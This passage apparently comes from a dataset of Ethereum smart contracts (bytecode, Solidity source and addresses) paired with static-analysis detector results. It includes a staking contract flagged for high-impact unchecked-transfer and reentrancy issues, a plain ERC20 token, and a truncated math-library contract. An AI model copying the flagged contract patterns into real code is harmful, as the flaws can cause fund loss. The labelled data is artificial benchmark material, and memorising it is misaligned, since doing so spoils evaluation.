01b81526004016110d6929190612260565b602060405180830381600087803b1580156110f057600080fd5b505af1158015611104573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111289190611f02565b50600190509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461118f57600080fd5b8160068190555060019050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60015481565b600080600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080915050919050565b73ec068b286d09e1650175cab9b93bfbb733eac33581565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461128a57600080fd5b8160018190555060019050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146112f557600080fd5b600760009054906101000a900460ff1615611345576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133c906122fb565b60405180910390fd5b60008060005b6113556008611b42565b81101561148c57611370816008611acc90919063ffffffff16565b92506113da6004546113cc600154600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b5790919063ffffffff16565b611b9890919063ffffffff16565b915061142e82600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ae690919063ffffffff16565b600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611485600182611ae690919063ffffffff16565b905061134b565b506114a4600154600554611ae690919063ffffffff16565b60058190555060019250505090565b6000600760009054906101000a900460ff1615611505576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114fc9061235b565b60405180910390fd5b60008211611548576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153f9061237b565b60405180910390fd5b6006546115556008611b42565b10611595576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158c906123bb565b60405180910390fd5b733d7e4674b3a78d7aa5892fb43d380292f6910b1d73ffffffffffffffffffffffffffffffffffffffff166323b872dd3330856040518463ffffffff1660e01b81526004016115e693929190612229565b602060405180830381600087803b15801561160057600080fd5b505af1158015611614573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116389190611f02565b611677576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161166e9061239b565b60405180910390fd5b6116c982600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ae690919063ffffffff16565b600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061172182600454611ae690919063ffffffff16565b60048190555042600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555042600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117c3336008611bb390919063ffffffff16565b6117dd576117db336008611be390919063ffffffff16565b505b7f2da466a7b24304f47e87fa2e1e5a81b9831ce54fec19055ce277ca2f39ba42c4338360405161180e929190612260565b60405180910390a160019050919050565b600e6020528060005260406000206000915090505481565b60055481565b600a6020528060005260406000206000915090505481565b733d7e4674b3a78d7aa5892fb43d380292f6910b1d81565b60035481565b62278d0081565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146118d557600080fd5b600760009054906101000a900460ff1615611925576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161191c906122fb565b60405180910390fd5b6001600760006101000a81548160ff0219169083151502179055506001905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146119a257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156119dc57600080fd5b8173ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b60045481565b600082821115611ab857611ab76125f6565b5b8183611ac4919061257a565b905092915050565b6000611adb8360000183611c13565b60001c905092915050565b6000808284611af59190612499565b905083811015611b0857611b076125f6565b5b8091505092915050565b6000611b3a836000018373ffffffffffffffffffffffffffffffffffffffff1660001b611c87565b905092915050565b6000611b5082600001611d9f565b9050919050565b6000808284611b669190612520565b90506000841480611b815750828482611b7f91906124ef565b145b611b8e57611b8d6125f6565b5b8091505092915050565b6000808284611ba791906124ef565b90508091505092915050565b6000611bdb836000018373ffffffffffffffffffffffffffffffffffffffff1660001b611db0565b905092915050565b6000611c0b836000018373ffffffffffffffffffffffffffffffffffffffff1660001b611dd3565b905092915050565b600081836000018054905011611c5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c55906122db565b60405180910390fd5b826000018281548110611c7457611c736126b2565b5b9060005260206000200154905092915050565b60008083600101600084815260200190815260200160002054905060008114611d93576000600182611cb9919061257a565b9050600060018660000180549050611cd1919061257a565b90506000866000018281548110611ceb57611cea6126b2565b5b9060005260206000200154905080876000018481548110611d0f57611d0e6126b2565b5b9060005260206000200181905550600183611d2a9190612499565b8760010160008381526020019081526020016000208190555086600001805480611d5757611d56612683565b5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050611d99565b60009150505b92915050565b600081600001805490509050919050565b600080836001016000848152602001908152602001600020541415905092915050565b6000611ddf8383611db0565b611e38578260000182908060018154018082558091505060019003906000526020600020016000909190919091505582600001805490508360010160008481526020019081526020016000208190555060019050611e3d565b600090505b92915050565b600081359050611e52816128ac565b92915050565b600081519050611e67816128c3565b92915050565b600081359050611e7c816128da565b92915050565b600060208284031215611e9857611e97612710565b5b6000611ea684828501611e43565b91505092915050565b600080600060608486031215611ec857611ec7612710565b5b6000611ed686828701611e43565b9350506020611ee786828701611e43565b9250506040611ef886828701611e6d565b9150509250925092565b600060208284031215611f1857611f17612710565b5b6000611f2684828501611e58565b91505092915050565b600060208284031215611f4557611f44612710565b5b6000611f5384828501611e6d565b91505092915050565b60008060408385031215611f7357611f72612710565b5b6000611f8185828601611e6d565b9250506020611f9285828601611e6d565b9150509250929050565b6000611fa88383611fcc565b60208301905092915050565b6000611fc083836121f0565b60208301905092915050565b611fd5816125ae565b82525050565b611fe4816125ae565b82525050565b6000611ff582612436565b611fff8185612466565b935061200a83612416565b8060005b8381101561203b5781516120228882611f9c565b975061202d8361244c565b92505060018101905061200e565b5085935050505092915050565b600061205382612441565b61205d8185612477565b935061206883612426565b8060005b838110156120995781516120808882611fb4565b975061208b83612459565b92505060018101905061206c565b5085935050505092915050565b6120af816125c0565b82525050565b60006120c2602283612488565b91506120cd82612715565b604082019050919050565b60006120e5601583612488565b91506120f082612764565b602082019050919050565b6000612108601e83612488565b91506121138261278d565b602082019050919050565b600061212b601a83612488565b9150612136826127b6565b602082019050919050565b600061214e601183612488565b9150612159826127df565b602082019050919050565b6000612171601783612488565b915061217c82612808565b602082019050919050565b6000612194601c83612488565b915061219f82612831565b602082019050919050565b60006121b7601383612488565b91506121c28261285a565b602082019050919050565b60006121da600883612488565b91506121e582612883565b602082019050919050565b6121f9816125ec565b82525050565b612208816125ec565b82525050565b60006020820190506122236000830184611fdb565b92915050565b600060608201905061223e6000830186611fdb565b61224b6020830185611fdb565b61225860408301846121ff565b949350505050565b60006040820190506122756000830185611fdb565b61228260208301846121ff565b9392505050565b600060408201905081810360008301526122a38185611fea565b905081810360208301526122b78184612048565b90509392505050565b60006020820190506122d560008301846120a6565b92915050565b600060208201905081810360008301526122f4816120b5565b9050919050565b60006020820190508181036000830152612314816120d8565b9050919050565b60006020820190508181036000830152612334816120fb565b9050919050565b600060208201905081810360008301526123548161211e565b9050919050565b6000602082019050818103600083015261237481612141565b9050919050565b6000602082019050818103600083015261239481612164565b9050919050565b600060208201905081810360008301526123b481612187565b9050919050565b600060208201905081810360008301526123d4816121aa565b9050919050565b600060208201905081810360008301526123f4816121cd565b9050919050565b600060208201905061241060008301846121ff565b92915050565b6000819050602082019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b60006124a4826125ec565b91506124af836125ec565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156124e4576124e3612625565b5b828201905092915050565b60006124fa826125ec565b9150612505836125ec565b92508261251557612514612654565b5b828204905092915050565b600061252b826125ec565b9150612536836125ec565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561256f5761256e612625565b5b828202905092915050565b6000612585826125ec565b9150612590836125ec565b9250828210156125a3576125a2612625565b5b828203905092915050565b60006125b9826125cc565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b7f456e756d657261626c655365743a20696e646578206f7574206f6620626f756e60008201527f6473000000000000000000000000000000000000000000000000000000000000602082015250565b7f5374616b696e6720616c726561647920656e6465640000000000000000000000600082015250565b7f43616e6e6f74205472616e73666572204f7574207468697320746f6b656e0000600082015250565b7f436f756c64206e6f74207472616e7366657220746f6b656e732e000000000000600082015250565b7f5374616b696e672068617320656e646564000000000000000000000000000000600082015250565b7f43616e6e6f74206465706f736974203020546f6b656e73000000000000000000600082015250565b7f496e73756666696369656e7420546f6b656e20416c6c6f77616e636500000000600082015250565b7f4d6178204661726d657273207265616368656400000000000000000000000000600082015250565b7f4e6f74207965742e000000000000000000000000000000000000000000000000600082015250565b6128b5816125ae565b81146128c057600080fd5b50565b6128cc816125c0565b81146128d757600080fd5b50565b6128e3816125ec565b81146128ee57600080fd5b5056fea2646970667358221220093f9522c7732b324d86793a479e46ee8230da513d0273ba2696a04f3a1328bb64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
576
0xbfd815347d024f449886c171f78fa5b8e6790811
pragma solidity ^0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two numbers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two numbers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); // Solidity only automatically asserts when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two numbers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two numbers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); event Transfer( address indexed from, address indexed to, uint256 value ); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md * Originally based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address owner, address spender ) public view returns (uint256) { return _allowed[owner][spender]; } /** * @dev Transfer token for a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } /** * @dev Transfer tokens from one address to another * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom( address from, address to, uint256 value ) public returns (bool) { require(value <= _allowed[from][msg.sender]); _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance( address spender, uint256 addedValue ) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = ( _allowed[msg.sender][spender].add(addedValue)); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance( address spender, uint256 subtractedValue ) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = ( _allowed[msg.sender][spender].sub(subtractedValue)); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Transfer token for a specified addresses * @param from The address to transfer from. * @param to The address to transfer to. * @param value The amount to be transferred. */ function _transfer(address from, address to, uint256 value) internal { require(value <= _balances[from]); require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } /** * @dev Internal function that mints an amount of the token and assigns it to * an account. This encapsulates the modification of balances such that the * proper events are emitted. * @param account The account that will receive the created tokens. * @param value The amount that will be created. */ function _mint(address account, uint256 value) internal { require(account != 0); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } /** * @dev Internal function that burns an amount of the token of a given * account. * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burn(address account, uint256 value) internal { require(account != 0); require(value <= _balances[account]); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Internal function that burns an amount of the token of a given * account, deducting from the sender's allowance for said account. Uses the * internal burn function. * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burnFrom(address account, uint256 value) internal { require(value <= _allowed[account][msg.sender]); // Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted, // this function needs to emit an event with the updated approval. _allowed[account][msg.sender] = _allowed[account][msg.sender].sub( value); _burn(account, value); } } /** * @title ERC20Detailed token * @dev The decimals are only for visualization purposes. * All the operations are done using the smallest and indivisible token unit, * just as on Ethereum all the operations are done in wei. */ contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string name, string symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } /** * @return the name of the token. */ function name() public view returns(string) { return _name; } /** * @return the symbol of the token. */ function symbol() public view returns(string) { return _symbol; } /** * @return the number of decimals of the token. */ function decimals() public view returns(uint8) { return _decimals; } } contract AAPX is ERC20, ERC20Detailed { constructor(uint256 initialSupply) ERC20Detailed("AMPnet APX Token", "AAPX", 18) public { _mint(msg.sender, initialSupply); } }
0x6080604052600436106100af576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100b4578063095ea7b31461014457806318160ddd146101a957806323b872dd146101d4578063313ce56714610259578063395093511461028a57806370a08231146102ef57806395d89b4114610346578063a457c2d7146103d6578063a9059cbb1461043b578063dd62ed3e146104a0575b600080fd5b3480156100c057600080fd5b506100c9610517565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101095780820151818401526020810190506100ee565b50505050905090810190601f1680156101365780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015057600080fd5b5061018f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105b9565b604051808215151515815260200191505060405180910390f35b3480156101b557600080fd5b506101be6106e6565b6040518082815260200191505060405180910390f35b3480156101e057600080fd5b5061023f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106f0565b604051808215151515815260200191505060405180910390f35b34801561026557600080fd5b5061026e6108a2565b604051808260ff1660ff16815260200191505060405180910390f35b34801561029657600080fd5b506102d5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108b9565b604051808215151515815260200191505060405180910390f35b3480156102fb57600080fd5b50610330600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610af0565b6040518082815260200191505060405180910390f35b34801561035257600080fd5b5061035b610b38565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561039b578082015181840152602081019050610380565b50505050905090810190601f1680156103c85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103e257600080fd5b50610421600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bda565b604051808215151515815260200191505060405180910390f35b34801561044757600080fd5b50610486600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e11565b604051808215151515815260200191505060405180910390f35b3480156104ac57600080fd5b50610501600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e28565b6040518082815260200191505060405180910390f35b606060038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105af5780601f10610584576101008083540402835291602001916105af565b820191906000526020600020905b81548152906001019060200180831161059257829003601f168201915b5050505050905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156105f657600080fd5b81600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600254905090565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561077d57600080fd5b61080c82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610eaf90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610897848484610ed0565b600190509392505050565b6000600560009054906101000a900460ff16905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156108f657600080fd5b61098582600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110e990919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610bd05780601f10610ba557610100808354040283529160200191610bd0565b820191906000526020600020905b815481529060010190602001808311610bb357829003601f168201915b5050505050905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610c1757600080fd5b610ca682600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610eaf90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000610e1e338484610ed0565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600080838311151515610ec157600080fd5b82840390508091505092915050565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548111151515610f1d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515610f5957600080fd5b610faa816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610eaf90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061103d816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110e990919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600080828401905083811015151561110057600080fd5b80915050929150505600a165627a7a72305820374e9fa01a6f2f207c8b72dff33d9357c62622e4b584cba7a7f1fcce8dc79e560029
{"success": true, "error": null, "results": {}}
577
0x7b1a5649145143f4fad8504712ca9c614c3da2ae
/** *Submitted for verification at Etherscan.io on 2021-12-17 */ // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; library FullMath { function fullMul(uint256 x, uint256 y) private pure returns (uint256 l, uint256 h) { uint256 mm = mulmod(x, y, uint256(-1)); l = x * y; h = mm - l; if (mm < l) h -= 1; } function fullDiv( uint256 l, uint256 h, uint256 d ) private pure returns (uint256) { uint256 pow2 = d & -d; d /= pow2; l /= pow2; l += h * ((-pow2) / pow2 + 1); uint256 r = 1; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; return l * r; } function mulDiv( uint256 x, uint256 y, uint256 d ) internal pure returns (uint256) { (uint256 l, uint256 h) = fullMul(x, y); uint256 mm = mulmod(x, y, d); if (mm > l) h -= 1; l -= mm; require(h < d, 'FullMath::mulDiv: overflow'); return fullDiv(l, h, d); } } library Babylonian { function sqrt(uint256 x) internal pure returns (uint256) { if (x == 0) return 0; uint256 xx = x; uint256 r = 1; if (xx >= 0x100000000000000000000000000000000) { xx >>= 128; r <<= 64; } if (xx >= 0x10000000000000000) { xx >>= 64; r <<= 32; } if (xx >= 0x100000000) { xx >>= 32; r <<= 16; } if (xx >= 0x10000) { xx >>= 16; r <<= 8; } if (xx >= 0x100) { xx >>= 8; r <<= 4; } if (xx >= 0x10) { xx >>= 4; r <<= 2; } if (xx >= 0x8) { r <<= 1; } r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; // Seven iterations should be enough uint256 r1 = x / r; return (r < r1 ? r : r1); } } library BitMath { function mostSignificantBit(uint256 x) internal pure returns (uint8 r) { require(x > 0, 'BitMath::mostSignificantBit: zero'); if (x >= 0x100000000000000000000000000000000) { x >>= 128; r += 128; } if (x >= 0x10000000000000000) { x >>= 64; r += 64; } if (x >= 0x100000000) { x >>= 32; r += 32; } if (x >= 0x10000) { x >>= 16; r += 16; } if (x >= 0x100) { x >>= 8; r += 8; } if (x >= 0x10) { x >>= 4; r += 4; } if (x >= 0x4) { x >>= 2; r += 2; } if (x >= 0x2) r += 1; } } library FixedPoint { // range: [0, 2**112 - 1] // resolution: 1 / 2**112 struct uq112x112 { uint224 _x; } // range: [0, 2**144 - 1] // resolution: 1 / 2**112 struct uq144x112 { uint256 _x; } uint8 private constant RESOLUTION = 112; uint256 private constant Q112 = 0x10000000000000000000000000000; uint256 private constant Q224 = 0x100000000000000000000000000000000000000000000000000000000; uint256 private constant LOWER_MASK = 0xffffffffffffffffffffffffffff; // decimal of UQ*x112 (lower 112 bits) // decode a UQ112x112 into a uint112 by truncating after the radix point function decode(uq112x112 memory self) internal pure returns (uint112) { return uint112(self._x >> RESOLUTION); } // decode a uq112x112 into a uint with 18 decimals of precision function decode112with18(uq112x112 memory self) internal pure returns (uint) { return uint(self._x) / 5192296858534827; } function fraction(uint256 numerator, uint256 denominator) internal pure returns (uq112x112 memory) { require(denominator > 0, 'FixedPoint::fraction: division by zero'); if (numerator == 0) return FixedPoint.uq112x112(0); if (numerator <= uint144(-1)) { uint256 result = (numerator << RESOLUTION) / denominator; require(result <= uint224(-1), 'FixedPoint::fraction: overflow'); return uq112x112(uint224(result)); } else { uint256 result = FullMath.mulDiv(numerator, Q112, denominator); require(result <= uint224(-1), 'FixedPoint::fraction: overflow'); return uq112x112(uint224(result)); } } // square root of a UQ112x112 // lossy between 0/1 and 40 bits function sqrt(uq112x112 memory self) internal pure returns (uq112x112 memory) { if (self._x <= uint144(-1)) { return uq112x112(uint224(Babylonian.sqrt(uint256(self._x) << 112))); } uint8 safeShiftBits = 255 - BitMath.mostSignificantBit(self._x); safeShiftBits -= safeShiftBits % 2; return uq112x112(uint224(Babylonian.sqrt(uint256(self._x) << safeShiftBits) << ((112 - safeShiftBits) / 2))); } } library SafeMath { function 